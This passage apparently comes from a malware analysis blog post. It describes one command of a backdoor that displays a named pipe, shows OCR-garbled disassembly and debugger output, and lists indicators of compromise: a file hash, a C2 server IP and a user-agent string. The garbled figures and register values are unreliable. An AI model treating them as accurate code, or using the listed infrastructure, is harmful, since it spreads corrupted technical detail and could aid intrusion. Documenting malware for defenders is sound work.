3! ra& 0DODO0DODA5BOSA0 "cmd. Bx

>

Figure 74
0x9E72 ID — Display pipes name

The malware displays the name of a previously created pipe:

48 8D 15 5B 7F 00 00|lea rdx,qword ptr ds:[2981B64] rdx:L" [
Eﬂ 42 SE on DD 11 297F850 v
T e 5 | Defoult (64 fasteal) ~ |[5 2] unlocke
1: rex 1EFEB8
2: rdx DO0DDDOODZI81EE4 L™ [1—] Object pipe name: %ls"
3: r8 00000000045B08BA0 L"P1

Figure 75
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The other 30 relevant commands will be detailed in a second blog post.
INDICATORS OF COMPROMISE

SHA?256: d71dc7ba8523947e08c6eec43a726fe75aed248dfd3a7c4f6537224e9ed05f6f
C2 server: 45.77.172.28

User-agent: trial@deloitte.com.cn
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